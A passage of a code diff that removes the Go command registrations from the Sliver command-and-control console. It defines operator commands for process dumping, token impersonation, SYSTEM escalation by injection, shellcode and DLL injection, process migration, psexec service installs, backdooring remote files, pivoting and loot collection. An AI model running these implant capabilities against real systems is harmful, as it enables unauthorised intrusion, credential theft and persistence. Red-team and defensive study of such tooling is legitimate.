- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.CatStr,
- Help: "Dump file to stdout",
- LongHelp: help.GetHelpFor([]string{consts.CatStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Bool("c", "colorize-output", false, "colorize output")
- f.Bool("X", "loot", false, "save output as loot")
- },
- Args: func(a *grumble.Args) {
- a.String("path", "path to the file to print")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- cat(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.DownloadStr,
- Help: "Download a file",
- LongHelp: help.GetHelpFor([]string{consts.DownloadStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-
- f.Bool("X", "loot", false, "save output as loot")
- },
- Args: func(a *grumble.Args) {
- a.String("remote-path", "path to the file or directory to download")
- a.String("local-path", "local path where the downloaded file will be saved", grumble.Default("."))
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- download(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.UploadStr,
- Help: "Upload a file",
- LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("local-path", "local path to the file to upload")
- a.String("remote-path", "path to the file or directory to upload to", grumble.Default(""))
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- upload(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.IfconfigStr,
- Help: "View network interface configurations",
- LongHelp: help.GetHelpFor([]string{consts.IfconfigStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- ifconfig(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.NetstatStr,
- Help: "Print network connection information",
- LongHelp: help.GetHelpFor([]string{consts.NetstatStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- netstat(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Bool("T", "tcp", true, "display information about TCP sockets")
- f.Bool("u", "udp", false, "display information about UDP sockets")
- f.Bool("4", "ip4", true, "display information about IPv4 sockets")
- f.Bool("6", "ip6", false, "display information about IPv6 sockets")
- f.Bool("l", "listen", false, "display information about listening sockets")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.ProcdumpStr,
- Help: "Dump process memory",
- LongHelp: help.GetHelpFor([]string{consts.ProcdumpStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("p", "pid", -1, "target pid")
- f.String("n", "name", "", "target process name")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- procdump(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.RunAsStr,
- Help: "Run a new process in the context of the designated user (Windows Only)",
- LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
- Flags: func(f *grumble.Flags) {
- f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
- f.String("p", "process", "", "process to start")
- f.String("a", "args", "", "arguments for the process")
- f.Int("t", "timeout", 30, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- runAs(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverWinHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.ImpersonateStr,
- Help: "Impersonate a logged in user.",
- LongHelp: help.GetHelpFor([]string{consts.ImpersonateStr}),
- Args: func(a *grumble.Args) {
- a.String("username", "name of the user account to impersonate")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- impersonate(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", 30, "command timeout in seconds")
- },
- HelpGroup: consts.SliverWinHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.RevToSelfStr,
- Help: "Revert to self: lose stolen Windows token",
- LongHelp: help.GetHelpFor([]string{consts.RevToSelfStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- revToSelf(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", 30, "command timeout in seconds")
- },
- HelpGroup: consts.SliverWinHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.GetSystemStr,
- Help: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)",
- LongHelp: help.GetHelpFor([]string{consts.GetSystemStr}),
- Flags: func(f *grumble.Flags) {
- f.String("p", "process", "spoolsv.exe", "SYSTEM process to inject into")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- getsystem(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverWinHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.ExecuteAssemblyStr,
- Help: "Loads and executes a .NET assembly in a child process (Windows Only)",
- LongHelp: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}),
- Args: func(a *grumble.Args) {
- a.String("filepath", "path the assembly file")
- a.StringList("arguments", "arguments to pass to the assembly entrypoint", grumble.Default([]string{}))
- },
- Flags: func(f *grumble.Flags) {
- f.String("p", "process", "notepad.exe", "hosting process to inject into")
- f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
- f.String("c", "class", "", "Optional class name (required for .NET DLL)")
- f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
- f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
- f.Bool("s", "save", false, "save output to file")
- f.Bool("X", "loot", false, "save output as loot")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- executeAssembly(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverWinHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.ExecuteShellcodeStr,
- Help: "Executes the given shellcode in the sliver process",
- LongHelp: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- executeShellcode(ctx, rpc)
- fmt.Println()
- return nil
- },
- Args: func(a *grumble.Args) {
- a.String("filepath", "path the shellcode file")
- },
- Flags: func(f *grumble.Flags) {
- f.Bool("r", "rwx-pages", false, "Use RWX permissions for memory pages")
- f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
- f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
- f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.SideloadStr,
- Help: "Load and execute a shared object (shared library/DLL) in a remote process",
- LongHelp: help.GetHelpFor([]string{consts.SideloadStr}),
- Flags: func(f *grumble.Flags) {
- f.String("a", "args", "", "Arguments for the shared library function")
- f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
- f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
- f.Bool("s", "save", false, "save output to file")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
- },
- Args: func(a *grumble.Args) {
- a.String("filepath", "path the shared library file")
- },
- HelpGroup: consts.SliverHelpGroup,
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- sideload(ctx, rpc)
- fmt.Println()
- return nil
- },
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.SpawnDllStr,
- Help: "Load and execute a Reflective DLL in a remote process",
- LongHelp: help.GetHelpFor([]string{consts.SpawnDllStr}),
- Flags: func(f *grumble.Flags) {
- f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
- f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
- f.Bool("s", "save", false, "save output to file")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
- },
- Args: func(a *grumble.Args) {
- a.String("filepath", "path the DLL file")
- a.StringList("arguments", "arguments to pass to the DLL entrypoint", grumble.Default([]string{}))
- },
- HelpGroup: consts.SliverWinHelpGroup,
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- spawnDll(ctx, rpc)
- fmt.Println()
- return nil
- },
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.MigrateStr,
- Help: "Migrate into a remote process",
- LongHelp: help.GetHelpFor([]string{consts.MigrateStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- migrate(ctx, rpc)
- fmt.Println()
- return nil
- },
- Args: func(a *grumble.Args) {
- a.Uint("pid", "pid")
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- HelpGroup: consts.SliverWinHelpGroup,
- })
-
- websitesCmd := &grumble.Command{
- Name: consts.WebsitesStr,
- Help: "Host static content (used with HTTP C2)",
- LongHelp: help.GetHelpFor([]string{consts.WebsitesStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- websites(ctx, rpc)
- fmt.Println()
- return nil
- },
- Args: func(a *grumble.Args) {
- a.String("name", "website name", grumble.Default(""))
- },
- HelpGroup: consts.GenericHelpGroup,
- }
- websitesCmd.AddCommand(&grumble.Command{
- Name: consts.RmStr,
- Help: "Remove an entire website",
- LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- removeWebsite(ctx, rpc)
- fmt.Println()
- return nil
- },
- Args: func(a *grumble.Args) {
- a.String("name", "website name", grumble.Default(""))
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- websitesCmd.AddCommand(&grumble.Command{
- Name: consts.RmWebContentStr,
- Help: "Remove content from a website",
- LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}),
- Flags: func(f *grumble.Flags) {
- f.Bool("r", "recursive", false, "recursively add/rm content")
- f.String("w", "website", "", "website name")
- f.String("p", "web-path", "", "http path to host file at")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- removeWebsiteContent(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- websitesCmd.AddCommand(&grumble.Command{
- Name: consts.AddWebContentStr,
- Help: "Add content to a website",
- LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}),
- Flags: func(f *grumble.Flags) {
- f.String("w", "website", "", "website name")
- f.String("m", "content-type", "", "mime content-type (if blank use file ext.)")
- f.String("p", "web-path", "/", "http path to host file at")
- f.String("c", "content", "", "local file path/dir (must use --recursive for dir)")
- f.Bool("r", "recursive", false, "recursively add/rm content")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- addWebsiteContent(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- websitesCmd.AddCommand(&grumble.Command{
- Name: consts.WebContentTypeStr,
- Help: "Update a path's content-type",
- LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.WebContentTypeStr}),
- Flags: func(f *grumble.Flags) {
- f.String("w", "website", "", "website name")
- f.String("m", "content-type", "", "mime content-type (if blank use file ext.)")
- f.String("p", "web-path", "/", "http path to host file at")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- updateWebsiteContent(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- app.AddCommand(websitesCmd)
-
- app.AddCommand(&grumble.Command{
- Name: consts.TerminateStr,
- Help: "Kill/terminate a process",
- LongHelp: help.GetHelpFor([]string{consts.TerminateStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- terminate(ctx, rpc)
- fmt.Println()
- return nil
- },
- Args: func(a *grumble.Args) {
- a.Uint("pid", "pid")
- },
- Flags: func(f *grumble.Flags) {
- f.Bool("f", "force", false, "disregard safety and kill the PID")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.ScreenshotStr,
- Help: "Take a screenshot",
- LongHelp: help.GetHelpFor([]string{consts.ScreenshotStr}),
- Flags: func(f *grumble.Flags) {
- f.Bool("X", "loot", false, "save output as loot")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- screenshot(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.LoadExtensionStr,
- Help: "Load a sliver extension",
- LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- loadExtension(ctx, rpc)
- fmt.Println()
- return nil
- },
- Args: func(a *grumble.Args) {
- a.String("dir-path", "path to the extension directory")
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.NamedPipeStr,
- Help: "Start a named pipe pivot listener",
- LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}),
- Flags: func(f *grumble.Flags) {
- f.String("n", "name", "", "name of the named pipe")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- namedPipeListener(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.TCPListenerStr,
- Help: "Start a TCP pivot listener",
- LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}),
- Flags: func(f *grumble.Flags) {
- f.String("s", "server", "0.0.0.0", "interface to bind server to")
- f.Int("l", "lport", defaultTCPPivotPort, "tcp listen port")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- tcpListener(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.PsExecStr,
- Help: "Start a sliver service on a remote target",
- LongHelp: help.GetHelpFor([]string{consts.PsExecStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.String("s", "service-name", "Sliver", "name that will be used to register the service")
- f.String("d", "service-description", "Sliver implant", "description of the service")
- f.String("p", "profile", "", "profile to use for service binary")
- f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- psExec(ctx, rpc)
- fmt.Println()
- return nil
- },
- Args: func(a *grumble.Args) {
- a.String("hostname", "hostname")
- },
- HelpGroup: consts.SliverWinHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.BackdoorStr,
- Help: "Infect a remote file with a sliver shellcode",
- LongHelp: help.GetHelpFor([]string{consts.BackdoorStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.String("p", "profile", "", "profile to use for service binary")
- },
- Args: func(a *grumble.Args) {
- a.String("remote-file", "path to the file to backdoor")
- },
- HelpGroup: consts.SliverWinHelpGroup,
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- binject(ctx, rpc)
- fmt.Println()
- return nil
- },
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.MakeTokenStr,
- Help: "Create a new Logon Session with the specified credentials",
- LongHelp: help.GetHelpFor([]string{consts.MakeTokenStr}),
- Flags: func(f *grumble.Flags) {
- f.String("u", "username", "", "username of the user to impersonate")
- f.String("p", "password", "", "password of the user to impersonate")
- f.String("d", "domain", "", "domain of the user to impersonate")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- HelpGroup: consts.SliverWinHelpGroup,
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- makeToken(ctx, rpc)
- fmt.Println()
- return nil
- },
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.SetStr,
- Help: "Set an implant/session option",
- LongHelp: help.GetHelpFor([]string{consts.SetStr}),
- Flags: func(f *grumble.Flags) {
- f.String("n", "name", "", "agent name to change to")
- f.Int("r", "reconnect", -1, "reconnect interval for agent")
- f.Int("p", "poll", -1, "poll interval for agent")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- updateSessionCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.GetEnvStr,
- Help: "List environment variables",
- LongHelp: help.GetHelpFor([]string{consts.GetEnvStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("name", "environment variable to fetch", grumble.Default(""))
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- getEnv(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.SetEnvStr,
- Help: "Set environment variables",
- LongHelp: help.GetHelpFor([]string{consts.SetEnvStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("name", "environment variable name")
- a.String("value", "value to assign")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- setEnv(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.UnsetEnvStr,
- Help: "Clear environment variables",
- LongHelp: help.GetHelpFor([]string{consts.UnsetEnvStr}),
- Args: func(a *grumble.Args) {
- a.String("name", "environment variable name")
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- unsetEnv(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.LicensesStr,
- Help: "Open source licenses",
- LongHelp: help.GetHelpFor([]string{consts.LicensesStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- fmt.Println(licenses.All)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- registryCmd := &grumble.Command{
- Name: consts.RegistryStr,
- Help: "Windows registry operations",
- LongHelp: help.GetHelpFor([]string{consts.RegistryStr}),
- Run: func(ctx *grumble.Context) error {
- return nil
- },
- HelpGroup: consts.SliverWinHelpGroup,
- }
-
- registryCmd.AddCommand(&grumble.Command{
- Name: consts.RegistryReadStr,
- Help: "Read values from the Windows registry",
- LongHelp: help.GetHelpFor([]string{consts.RegistryReadStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- registryReadCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- Args: func(a *grumble.Args) {
- a.String("registry-path", "registry path")
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.String("H", "hive", "HKCU", "egistry hive")
- f.String("o", "hostname", "", "remote host to read values from")
- },
- HelpGroup: consts.SliverWinHelpGroup,
- })
- registryCmd.AddCommand(&grumble.Command{
- Name: consts.RegistryWriteStr,
- Help: "Write values to the Windows registry",
- LongHelp: help.GetHelpFor([]string{consts.RegistryWriteStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- registryWriteCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- Args: func(a *grumble.Args) {
- a.String("registry-path", "registry path")
- a.String("value", "value to write")
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.String("H", "hive", "HKCU", "registry hive")
- f.String("o", "hostname", "", "remote host to write values to")
- f.String("T", "type", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path")
- f.String("p", "path", "", "path to the binary file to write")
- },
- HelpGroup: consts.SliverWinHelpGroup,
- })
- registryCmd.AddCommand(&grumble.Command{
- Name: consts.RegistryCreateKeyStr,
- Help: "Create a registry key",
- LongHelp: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}),
- Args: func(a *grumble.Args) {
- a.String("registry-path", "registry path")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- regCreateKeyCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.String("H", "hive", "HKCU", "registry hive")
- f.String("o", "hostname", "", "remote host to write values to")
- },
- })
- app.AddCommand(registryCmd)
-
- app.AddCommand(&grumble.Command{
- Name: consts.PivotsListStr,
- Help: "List pivots",
- LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- listPivots(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.String("i", "id", "", "session id")
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- // [ WireGuard ] --------------------------------------------------------------
-
- app.AddCommand(&grumble.Command{
- Name: consts.WgConfigStr,
- Help: "Generate a new WireGuard client config",
- LongHelp: help.GetHelpFor([]string{consts.WgConfigStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.String("s", "save", "", "save configuration to file (.conf)")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- getWGClientConfig(ctx, rpc)
- fmt.Println()
- return nil
- },
- })
-
- wgPortFwdCmd := &grumble.Command{
- Name: consts.WgPortFwdStr,
- Help: "List ports forwarded by the WireGuard tun interface",
- LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- wgPortFwdListCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- }
- wgPortFwdCmd.AddCommand(&grumble.Command{
- Name: "add",
- Help: "Add a port forward from the WireGuard tun interface to a host on the target network",
- LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- wgPortFwdAddCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Int("b", "bind", 1080, "port to listen on the WireGuard tun interface")
- f.String("r", "remote", "", "remote target host:port (e.g., 10.0.0.1:445)")
- },
- })
- wgPortFwdCmd.AddCommand(&grumble.Command{
- Name: "rm",
- Help: "Remove a port forward from the WireGuard tun interface",
- LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}),
- Args: func(a *grumble.Args) {
- a.Int("id", "forwarder id")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- wgPortFwdRmCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- })
- app.AddCommand(wgPortFwdCmd)
-
- wgSocksCmd := &grumble.Command{
- Name: consts.WgSocksStr,
- Help: "List socks servers listening on the WireGuard tun interface",
- LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- wgSocksListCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- }
-
- wgSocksCmd.AddCommand(&grumble.Command{
- Name: "start",
- Help: "Start a socks5 listener on the WireGuard tun interface",
- LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- wgSocksStartCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Int("b", "bind", 3090, "port to listen on the WireGuard tun interface")
- },
- })
-
- wgSocksCmd.AddCommand(&grumble.Command{
- Name: "rm",
- Help: "Stop a socks5 listener on the WireGuard tun interface",
- LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}),
- Args: func(a *grumble.Args) {
- a.Int("id", "forwarder id")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Print()
- wgSocksRmCmd(ctx, rpc)
- fmt.Print()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- })
- app.AddCommand(wgSocksCmd)
-
- // [ Portfwd ] --------------------------------------------------------------
- portfwdCmd := &grumble.Command{
- Name: consts.PortfwdStr,
- Help: "In-band TCP port forwarding",
- LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- portfwd(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- }
- portfwdCmd.AddCommand(&grumble.Command{
- Name: "add",
- Help: "Create a new port forwarding tunnel",
- LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.String("r", "remote", "", "remote target host:port (e.g., 10.0.0.1:445)")
- f.String("b", "bind", "127.0.0.1:8080", "bind port forward to interface")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- portfwdAdd(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
- portfwdCmd.AddCommand(&grumble.Command{
- Name: "rm",
- Help: "Remove a port forwarding tunnel",
- LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Int("i", "id", 0, "id of portfwd to remove")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- portfwdRm(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
- app.AddCommand(portfwdCmd)
-
- // [ Monitor ] --------------------------------------------------------------
- monitorCmd := &grumble.Command{
- Name: consts.MonitorStr,
- Help: "Monitor threat intel platforms for Sliver implants",
- }
- monitorCmd.AddCommand(&grumble.Command{
- Name: "start",
- Help: "Start the monitoring loops",
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- monitorStartCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- })
- monitorCmd.AddCommand(&grumble.Command{
- Name: "stop",
- Help: "Stop the monitoring loops",
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- monitorStopCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- })
- app.AddCommand(monitorCmd)
-
- // [ SSH ] --------------------------------------------------------------
- app.AddCommand(&grumble.Command{
- Name: consts.SSHStr,
- Help: "Run a SSH command on a remote host",
- LongHelp: help.GetHelpFor([]string{consts.SSHStr}),
- Args: func(a *grumble.Args) {
- a.String("hostname", "remote host to SSH to")
- a.StringList("command", "command line with arguments")
- },
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Uint("p", "port", 22, "SSH port")
- f.String("i", "private-key", "", "path to private key file")
- f.String("P", "password", "", "SSH user password")
- f.String("l", "login", "", "username to use to connect")
- f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- runSSHCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- // [ Loot ] --------------------------------------------------------------
- lootCmd := &grumble.Command{
- Name: consts.LootStr,
- Help: "Manage the server's loot store",
